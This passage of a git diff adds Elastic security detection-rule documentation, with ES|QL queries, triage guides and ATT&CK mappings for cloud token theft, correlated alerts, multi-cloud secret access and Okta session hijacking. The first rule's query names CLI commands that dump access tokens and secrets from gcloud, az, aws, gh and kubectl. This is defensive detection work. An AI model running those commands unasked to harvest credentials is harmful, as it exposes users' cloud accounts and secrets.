tokens), and rotate any secrets or deploy keys that were readable with that + token. + +For all providers, prefer provider-console revocation and rotation when a token string left the trust boundary; local +`logout`/`revoke` alone does not invalidate tokens that were already copied off-host. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.process-*, logs-system.security-*, logs-windows.sysmon_operational-* METADATA _id, _index, _version +| WHERE event.category == "process" AND KQL(""" event.type : "start" and not event.action : "fork" """) + AND process.command_line IS NOT NULL + AND ( + TO_LOWER(process.name) IN ( + "cmd.exe", "powershell.exe", "pwsh.exe", + "sh", "bash", "zsh", "dash", "fish", "ksh", + "gcloud", "gcloud.cmd", "az", "az.cmd", "azd", "azd.exe", + "gh", "gh.exe", "aws", "aws.exe", + "kubectl", "kubectl.exe", + "doctl", "doctl.exe", + "oci", "oci.exe" + ) OR + TO_LOWER(process.parent.name) IN ( + "cmd.exe", "powershell.exe", "pwsh.exe", + "sh", "bash", "zsh", "dash", "fish", "ksh", "bun", "bun.exe", + "node", "node.exe", "java", "java.exe" + ) + ) + AND process.command_line RLIKE """.*(config-helper\s.*--format|auth\s+print-access-token|auth\s+print-identity-token|auth\s+application-default\s+print|get-access-token\s.*--output|Get-AzAccessToken|azd\s+auth\s+token|az\s+account\s+get-access-token|gh\s+auth\s+(token|status)|aws\s+sts\s+(get-session-token|get-caller-identity|assume-role)|aws\s+configure\s+(export-credentials|list)|kubectl\s+config\s+view\s.*--raw|kubectl\s+get\s+secret|doctl\s+auth\s+(list|init)|oci\s+session\s+authenticate|oci\s+iam\s.*token).*""" +| EVAL cloud_target = CASE( + process.command_line RLIKE ".*(gcloud|config-helper|print-access-token|print-identity-token).*", "GCP", + process.command_line RLIKE ".*(azd auth|az account|Get-AzAccessToken).*", "AZURE", + process.command_line RLIKE ".*(aws sts|aws configure).*", "AWS", + process.command_line RLIKE ".*(gh auth).*", "GITHUB", + process.command_line RLIKE ".*(kubectl config|kubectl get secret).*", "KUBERNETES", + process.command_line RLIKE ".*(doctl).*", "DIGITALOCEAN", + process.command_line RLIKE ".*(oci session|oci iam).*", "ORACLE" + ) +| WHERE cloud_target IS NOT NULL // drop unclassified events before aggregation +| STATS + Esql.cloud_targets = VALUES(cloud_target), + Esql.unique_clouds = COUNT_DISTINCT(cloud_target), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_parent_executable_values = VALUES(process.parent.executable), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.event_count = COUNT(*) + BY host.name, host.id, user.name +| WHERE Esql.unique_clouds >= 2 +| KEEP Esql.*, user.name, host.name, host.id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc new file mode 100644 index 0000000000..bfa1deba5b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-multiple-alerts-in-same-att-ck-tactic-by-host]] +=== Multiple Alerts in Same ATT&CK Tactic by Host + +This rule correlates multiple security alerts associated with the same ATT&CK tactic on a single host within a defined time window. By requiring alerts from multiple distinct detection rules, this detection helps identify hosts exhibiting concentrated malicious behavior, which may indicate an active intrusion or post-compromise activity. The rule is intended to assist analysts in prioritizing triage toward hosts with higher likelihood of compromise rather than signaling a single discrete event. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Alerts in Same ATT&CK Tactic by Host* + + +The detection rule identifies hosts with alerts from the same ATT&CK tactic, indicating potential compromise. Adversaries exploit system vulnerabilities, moving through different tactics like execution, defense evasion, and credential access. This rule prioritizes hosts with high-risk. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different techniques that triggered the alerts. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple rules. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate multiple alerts. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* metadata _id + +| where kibana.alert.risk_score > 21 and + kibana.alert.rule.name IS NOT NULL and + host.id is not null and event.dataset is not null and + + // excluding ML and Threat Match rules as they tend to be noisy + not kibana.alert.rule.type in ("threat_match", "machine_learning") and + + // excluding noisy tactics like Discovery, Persistence and Lateral Movement + kibana.alert.rule.threat.tactic.name in ("Credential Access", "Defense Evasion", "Execution", "Command and Control") and + + // excluding some noisy rules + not kibana.alert.rule.name in ("Agent Spoofing - Mismatched Agent ID", "Process Termination followed by Deletion") and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// extract unique counts and values by host.id and tactic name +| stats Esql.alerts_count = COUNT(*), + Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.event_module_values = VALUES(event.module), + Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name), + Esql.threat_technique_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.threat.technique.id), + Esql.threat_technique_name_values = VALUES(kibana.alert.rule.threat.technique.name), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_parent_executable_values = VALUES(process.parent.executable), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id, kibana.alert.rule.threat.tactic.name + +// filter for at least 3 unique rules and exclude noisy patterns like high count of alerts or processes often associated with noisy FPs +| where Esql.kibana_alert_rule_name_distinct_count >= 3 and Esql.process_entity_id_distinct_count <= 10 and Esql.alerts_count <= 20 + +// fields populated in the resulting alerts +| Keep host.id, kibana.alert.rule.threat.tactic.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-involving-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-involving-a-user.asciidoc new file mode 100644 index 0000000000..4c1b7e381e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-involving-a-user.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-multiple-alerts-involving-a-user]] +=== Multiple Alerts Involving a User + +This rule uses alert data to determine when multiple different alerts involving the same user are triggered. Analysts can use this to prioritize triage and response, as these users are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-4h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Alerts Involving a User* + + +In security environments, monitoring user activity is crucial as adversaries often exploit user accounts to gain unauthorized access. Attackers may trigger multiple alerts by performing suspicious actions under a compromised user account. The detection rule identifies such patterns by correlating diverse alerts linked to the same user, excluding known system accounts, thus prioritizing potential threats for analysts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific user account involved, focusing on the user.name field to gather initial context about the user. +- Examine the timeline and sequence of the triggered alerts to understand the pattern of activity associated with the user, noting any unusual or unexpected actions. +- Cross-reference the user activity with known legitimate activities or scheduled tasks to rule out false positives, ensuring that the actions are not part of normal operations. +- Investigate the source and destination IP addresses associated with the alerts to identify any suspicious or unauthorized access points. +- Check for any recent changes in user permissions or group memberships that could indicate privilege escalation attempts. +- Look into any recent login attempts or authentication failures for the user account to detect potential brute force or credential stuffing attacks. +- Collaborate with the user or their manager to verify if the activities were authorized or if the account might be compromised. + + +*False positive analysis* + + +- Alerts triggered by automated system processes or scripts that mimic user behavior can be false positives. To manage these, identify and exclude known benign scripts or processes from the rule. +- Frequent alerts from users in roles that inherently require access to multiple systems or sensitive data, such as IT administrators, may not indicate compromise. Implement role-based exceptions to reduce noise. +- Alerts generated by legitimate software updates or maintenance activities can be mistaken for suspicious behavior. Schedule these activities during known maintenance windows and exclude them from the rule during these times. +- Users involved in testing or development environments may trigger multiple alerts due to their work nature. Create exceptions for these environments to prevent unnecessary alerts. +- High-volume users, such as those in customer support or sales, may naturally generate more alerts. Monitor these users separately and adjust the rule to focus on unusual patterns rather than volume alone. + + +*Response and remediation* + + +- Isolate the affected user account immediately to prevent further unauthorized access. Disable the account or change the password to stop any ongoing malicious activity. +- Conduct a thorough review of the affected user's recent activities and access logs to identify any unauthorized actions or data access. This will help in understanding the scope of the compromise. +- Remove any malicious software or unauthorized tools that may have been installed on the user's system. Use endpoint detection and response (EDR) tools to scan and clean the system. +- Restore any altered or deleted data from backups, ensuring that the restored data is free from any malicious modifications. +- Notify relevant stakeholders, including IT security teams and management, about the incident and the steps being taken to address it. This ensures that everyone is aware and can provide support if needed. +- Implement additional monitoring on the affected user account and related systems to detect any further suspicious activities. This includes setting up alerts for unusual login attempts or data access patterns. +- Review and update access controls and permissions for the affected user and similar accounts to prevent future incidents. Ensure that least privilege principles are applied. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* +| where kibana.alert.rule.name is not null and user.id is not null and + // Exclude low severity alerts + kibana.alert.risk_score > 21 and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| stats + Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.kibana_alert_rule_rule_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.rule_id), + Esql.host_id_distinct_count = COUNT_DISTINCT(host.id), + Esql.kibana_alert_risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.event_dataset_distinct_count = COUNT_DISTINCT(event.dataset), + Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name), + Esql.kibana_alert_risk_score_values = VALUES(kibana.alert.risk_score), + Esql.event_dataset_values = VALUES(event.dataset), + Esql.event_module_values = VALUES(event.module), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.host_id_values = VALUES(host.id), + Esql.source_ip_values = VALUES(source.ip), + Esql.destination_ip_values = VALUES(destination.ip) by user.id, user.name + +| where Esql.kibana_alert_rule_name_distinct_count >= 4 AND Esql.kibana_alert_rule_rule_id_distinct_count >= 2 and + // Exclude known system accounts with matches in more than one host + not ( + (length(TO_STRING(user.id)) <= 4 or user.id IN ("S-1-5-18", "S-1-5-19", "S-1-5-20", "0")) and + (Esql.host_id_distinct_count >= 2 or Esql.host_id_distinct_count == 0) + ) + +| keep user.id, user.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-on-a-host-exhibiting-cpu-spike.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-on-a-host-exhibiting-cpu-spike.asciidoc new file mode 100644 index 0000000000..7fc0b53d00 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-alerts-on-a-host-exhibiting-cpu-spike.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-multiple-alerts-on-a-host-exhibiting-cpu-spike]] +=== Multiple Alerts on a Host Exhibiting CPU Spike + +This rule correlates multiple security alerts from a host exhibiting unusually high CPU utilization within a short time window. This behavior may indicate malicious activity such as malware execution, cryptomining, exploit payload execution, or abuse of system resources following initial compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Endpoint +* Tactic: Impact +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Cryptomining +* Rule Type: ES|QL + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Alerts on a Host Exhibiting CPU Spike* + + +This rule identifies hosts that both triggered multiple security alerts and exhibited unusually high CPU utilization on the +within a short time window. This combination may indicate malicious execution, resource abuse, or post-compromise activity. + + +*Possible investigation steps* + +- Review the correlated alert(s) to understand why the host was flagged by the detection alerts. +- Examine the involved process name, command line, and SHA-256 hash to determine whether those processes are expected or known to be malicious. +- Validate the observed CPU usage and duration to determine whether the spike is abnormal for this process and host. +- Check for related process activity such as parent/child processes, suspicious process spawning, or privilege escalation attempts. +- Review additional host telemetry including: + - Network connections initiated by the process + - File creation or modification events + - Persistence mechanisms (services, scheduled tasks, registry keys) +- Determine whether similar activity is observed on other hosts, which may indicate a broader compromise. + + +*False positive analysis* + +- Legitimate high-CPU processes such as software updates, backup agents, security scans, or system maintenance tasks. +- Resource-intensive but benign applications (e.g., compilers, video encoding, data processing jobs). +- Security tools or monitoring agents temporarily consuming high CPU. + + +*Response and remediation* + +- If malicious activity is confirmed, isolate the affected host to prevent further impact. +- Terminate the offending process if safe to do so. +- Remove any identified malicious binaries or artifacts and eliminate persistence mechanisms. +- Apply relevant patches or configuration changes to remediate the root cause. +- Monitor the environment for recurrence of similar high-CPU processes combined with security alerts. +- Escalate the incident if multiple hosts or indicators suggest coordinated or widespread activity. + +==== Setup + + + +*Setup* + + +This rule requires host CPU metrics collected via the Elastic Agent **System** integration. + + +*System Metrics Integration Setup* + +The System integration collects host-level metrics such as CPU usage, load, memory, and process statistics and sends them to Elasticsearch using Elastic Agent. + + +*Prerequisite Requirements:* + +- Elastic Agent managed by Fleet +- A Fleet Server configured and reachable + Refer to the Fleet Server setup guide: + https://www.elastic.co/guide/en/fleet/current/fleet-server.html + + +*The following steps should be executed in order to enable CPU metrics collection:* + +- Go to the Kibana home page and click **Add integrations**. +- In the search bar, enter **System** and select the **System** integration. +- Click **Add System**. +- Configure an integration name and optionally add a description. +- Under **Metrics**, ensure the following datasets are enabled: + - `system.cpu` + - `system.load` (optional but recommended) + - `system.process` (optional, if process-level CPU is required) +- Review optional and advanced settings as needed. +- Add the integration to an existing agent policy or create a new agent policy. +- Deploy the Elastic Agent to the hosts from which CPU metrics should be collected. +- Click **Save and Continue** to finalize the setup. + + +*Validation* + +After deployment, verify CPU metrics ingestion by confirming the presence of documents in: +- `metrics-system.cpu-*` +- `metrics-system.load-*` (if enabled) + +For more details on the System integration and available metrics, refer to the documentation: +https://docs.elastic.co/integrations/system + + +==== Rule query + + +[source, js] +---------------------------------- +FROM metrics-*, .alerts-security.* METADATA _index +| where not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| eval + // hosts with more than 90% total CPU use + cpu_metrics_host_ids = CASE(_index like ".ds-metrics-system.cpu-*" and system.cpu.total.norm.pct >= 0.9, host.id, null), + // hosts with high severity security alerts + alerts_host_ids = CASE(_index like ".internal.alerts-security.*" and kibana.alert.rule.name is not null and host.id is not null and kibana.alert.risk_score >= 73, host.id, null) +| stats host_with_cpu_spike = COUNT_DISTINCT(cpu_metrics_host_ids), + host_with_alerts = COUNT_DISTINCT(alerts_host_ids), + Esql.max_cpu_pct = MAX(system.cpu.total.norm.pct), + Esql.unique_alerts_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.unique_process_count = COUNT_DISTINCT(process.entity_id), + Esql.alerts = VALUES(kibana.alert.rule.name), + Esql.process_hash_sha256 = VALUES(process.hash.sha256), + process_path = VALUES(process.executable), + parent_process_path = VALUES(process.parent.executable), + user_name = VALUES(user.name), + host_name = VALUES(host.name), + cmdline = VALUES(process.command_line) by host.id +// at least 3 unique high severity alerts and from a host with 90% CPU use +| where host_with_cpu_spike > 0 and host_with_alerts > 0 and Esql.unique_alerts_count >= 3 +| eval process.hash.sha256 = MV_FIRST(Esql.process_hash_sha256), + process.executable = MV_FIRST(process_path), + process.parent.executable = MV_FIRST(parent_process_path), + process.command_line = MV_FIRST(cmdline), + host.name = MV_FIRST(host_name), + user.name = MV_FIRST(user_name) +| KEEP user.name, host.name, host.id, process.*, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-cloud-secrets-accessed-by-source-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-cloud-secrets-accessed-by-source-address.asciidoc new file mode 100644 index 0000000000..ba38f5e613 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-cloud-secrets-accessed-by-source-address.asciidoc @@ -0,0 +1,240 @@ +[[prebuilt-rule-8-19-34-multiple-cloud-secrets-accessed-by-source-address]] +=== Multiple Cloud Secrets Accessed by Source Address + +This rule detects authenticated sessions accessing secret stores across multiple environments from the same source address within a short period of time, including cloud providers (AWS, GCP, Azure) and Kubernetes clusters. Adversaries with access to compromised credentials or session tokens may attempt to retrieve secrets from services such as AWS Secrets Manager, Google Secret Manager, Azure Key Vault, or Kubernetes Secrets in rapid succession to expand their access or exfiltrate sensitive information. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html +* https://docs.cloud.google.com/secret-manager/docs/samples/secretmanager-access-secret-version +* https://learn.microsoft.com/en-us/azure/key-vault/secrets/about-secrets +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack + +*Tags*: + +* Domain: Cloud +* Domain: IAM +* Domain: Storage +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Secrets Manager +* Data Source: Azure +* Data Source: Azure Activity Logs +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: Kubernetes +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: ES|QL +* Platform: AWS +* Platform: Azure +* Platform: Kubernetes +* Platform: GCP +* Domain: Containers +* Domain: Identity +* Service: AWS Secrets Manager +* Data Source: Azure Platform Logs +* Service: Azure Key Vault +* Service: GCP Secret Manager + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Multiple Cloud Secrets Accessed by Source Address* + + +This alert identifies a single source IP address accessing secret-management APIs across **multiple cloud providers** +(e.g., AWS Secrets Manager, Google Secret Manager, Azure Key Vault) within a short timeframe. +This behavior is strongly associated with **credential theft, session hijacking, or token replay**, where an adversary +uses stolen authenticated sessions to harvest secrets across cloud environments. + +Unexpected cross-cloud secret retrieval is uncommon and typically indicates automation misuse or malicious activity. + + +*Possible investigation steps* + + +- Validate the principal + - Identify the user, service account, workload identity, or application making the requests. + - Confirm whether this identity is expected to operate across more than one cloud provider. +- Review related activity + - Look for additional alerts involving the same identity, source IP, or token over the last 24–48 hours. + - Identify whether the source IP has been observed performing unusual authentication, privilege escalation, + or reconnaissance. +- Check application or service context + - Determine whether any workload legitimately pulls secrets from multiple cloud providers. + - Review deployment pipelines or integration layers that might legitimately bridge AWS, Azure, and GCP. +- Analyze user agent and invocation patterns + - Compare `user_agent.original` or equivalent fields against expected SDKs or automation tools. + - Suspicious indicators include CLI tools, unknown libraries, browser user agents, or custom scripts. +- Inspect IP reputation and origin + - Determine whether the source IP corresponds to a managed workload (EC2, GCE, Azure VM) or an unexpected host. + - Validate that the associated instance or host is under your control and behaving normally. +- Review IAM permissions and accessed secrets + - Check the policies attached to the identity. + - Verify whether the accessed secrets are sensitive, unused, or unrelated to the identity’s purpose. +- Assess potential compromise scope + - If compromise is suspected, enumerate other assets accessed by the same identity in the last 24 hours. + - Look for lateral movement, privilege escalation, or abnormal API usage. +- Review Kubernetes activity + - Identify the Kubernetes user, service account, or workload performing the secret access. + - Determine whether the access originated from a pod, node, or external client. + - Validate whether the identity is expected to access secrets in the affected namespaces. + - Investigate whether the activity corresponds to application behavior or manual/API access. + + +*False positive analysis* + + +- Validate whether the source IP is associated with a legitimate multi-cloud orchestration tool, automation pipeline, + or shared CI/CD system. +- Confirm that the identity is authorized to access secrets across multiple cloud services. +- If activity is expected, consider adding exceptions that pair account identity, source IP, and expected user agent + to reduce noise. +- Determine whether the source IP is associated with Kubernetes nodes, controllers, or internal workloads + that legitimately retrieve secrets alongside cloud provider integrations. + + +*Response and remediation* + + +- Initiate incident response** if the activity is unauthorized or suspicious. +- Restrict or disable** the affected credentials or service accounts. +- Rotate all accessed secrets** and review other secrets the identity can access. +- Analyze systems** that may have leaked credentials, such as compromised hosts or exposed tokens. +- Harden identity security: + - Enforce MFA for users where applicable. + - Reduce permissions to least privilege. + - Review trust relationships, workload identities, and cross-cloud integrations. +- Search for persistence mechanisms** such as newly created keys, roles, or service accounts. +- If Kubernetes access is involved: + - Rotate Kubernetes secrets and service account tokens. + - Review RBAC permissions and restrict secret access to least privilege. + - Inspect affected pods or nodes for compromise. +- Improve monitoring and audit visibility** by ensuring logging is enabled across all cloud environments. +- Determine root cause** (phishing, malware, token replay, exposed credential, etc.) and close the vector to prevent recurrence. + + +==== Setup + + +This multi-datasource rule relies on additional configurations from each hyperscaler. + +- GCP Audit: https://docs.cloud.google.com/logging/docs/audit/configure-data-access[Enable DATA_READ for the Secret Manager API service] +- Azure: https://learn.microsoft.com/en-us/azure/key-vault/general/howto-logging?tabs=azure-cli[Enable Diagnostic Logging for the Key Vault Service] +- AWS: Secrets Manager read access is automatically logged by CloudTrail. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.platformlogs-*, logs-aws.cloudtrail-*, logs-gcp.audit-*, logs-kubernetes.audit_logs-* METADATA _id, _version, _index +| WHERE + ( + /* AWS Secrets Manager */ + (data_stream.dataset == "aws.cloudtrail" AND event.action == "GetSecretValue") OR + + // Azure Key Vault (platform logs) + (data_stream.dataset == "azure.platformlogs" AND event.action IN ("SecretGet", "KeyGet")) or + + /* Google Secret Manager */ + (data_stream.dataset IN ("googlecloud.audit", "gcp.audit") AND + event.action IN ("google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion", "google.cloud.secretmanager.v1.SecretManagerService.GetSecretRequest")) OR + + /* Kubernetes Secrets */ + (data_stream.dataset == "kubernetes.audit_logs" AND kubernetes.audit.objectRef.resource == "secrets" AND kubernetes.audit.verb IN ("get", "list")) + + ) AND source.ip IS NOT NULL + +// Cloud vendor label based on dataset +| EVAL Esql.cloud_vendor = CASE( + data_stream.dataset == "aws.cloudtrail", "aws", + data_stream.dataset == "azure.platformlogs", "azure", + data_stream.dataset IN ("googlecloud.audit","gcp.audit"), "gcp", + data_stream.dataset == "kubernetes.audit_logs", "k8s", + "unknown" + ) +// Vendor+tenant label, e.g. aws:123456789012, azure:tenant, gcp:project +| EVAL Esql.tenant_label = CASE( + Esql.cloud_vendor == "aws", CONCAT("aws:", cloud.account.id), + Esql.cloud_vendor == "azure", CONCAT("azure:", cloud.account.id), + Esql.cloud_vendor == "gcp", CONCAT("gcp:", cloud.account.id), + Esql.cloud_vendor == "k8s", CONCAT("k8s:", orchestrator.cluster.name), + "unknown" + ) +| WHERE Esql.cloud_vendor != "unknown" +| STATS + // Core counts + Esql.events_count = COUNT(*), + Esql.vendor_count_distinct = COUNT_DISTINCT(Esql.cloud_vendor), + // Action & data source context + Esql.event_action_values = VALUES(event.action), + Esql.data_source_values = VALUES(data_stream.dataset), + // Cloud vendor + tenant context + Esql.cloud_vendor_values = VALUES(Esql.cloud_vendor), + Esql.tenant_label_values = VALUES(Esql.tenant_label), + // Hyperscaler-specific IDs + Esql.aws_account_id_values = VALUES(CASE(Esql.cloud_vendor == "aws", cloud.account.id, "unknown")), + Esql.azure_tenant_id_values = VALUES(CASE(Esql.cloud_vendor == "azure", cloud.account.id, "unknown")), + Esql.gcp_project_id_values = VALUES(CASE(Esql.cloud_vendor == "gcp", cloud.account.id, "unknown")), + // Generic cloud metadata + Esql.cloud_region_values = VALUES(cloud.region), + Esql.k8s_namespace_values = VALUES(kubernetes.audit.objectRef.namespace), + // Namespace values + Esql.data_stream_namespace_values = VALUES(data_stream.namespace), + Esql_priv.user_name_values = VALUES(user.name) + BY source.ip +// Require multi-vendor cred-access from same source IP +| WHERE Esql.vendor_count_distinct >= 2 +| SORT Esql.events_count DESC +| KEEP Esql.*, Esql_priv.*, source.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-device-token-hashes-for-single-okta-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-device-token-hashes-for-single-okta-session.asciidoc new file mode 100644 index 0000000000..7908fc51c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-device-token-hashes-for-single-okta-session.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-multiple-device-token-hashes-for-single-okta-session]] +=== Multiple Device Token Hashes for Single Okta Session + +This rule detects when a specific Okta actor has multiple device token hashes and multiple source IPs for a single Okta session. This may indicate an authenticated session has been hijacked or replayed from a different device and network. Adversaries may steal session cookies or tokens to gain unauthorized access to Okta admin console, applications, tenants, or other resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* 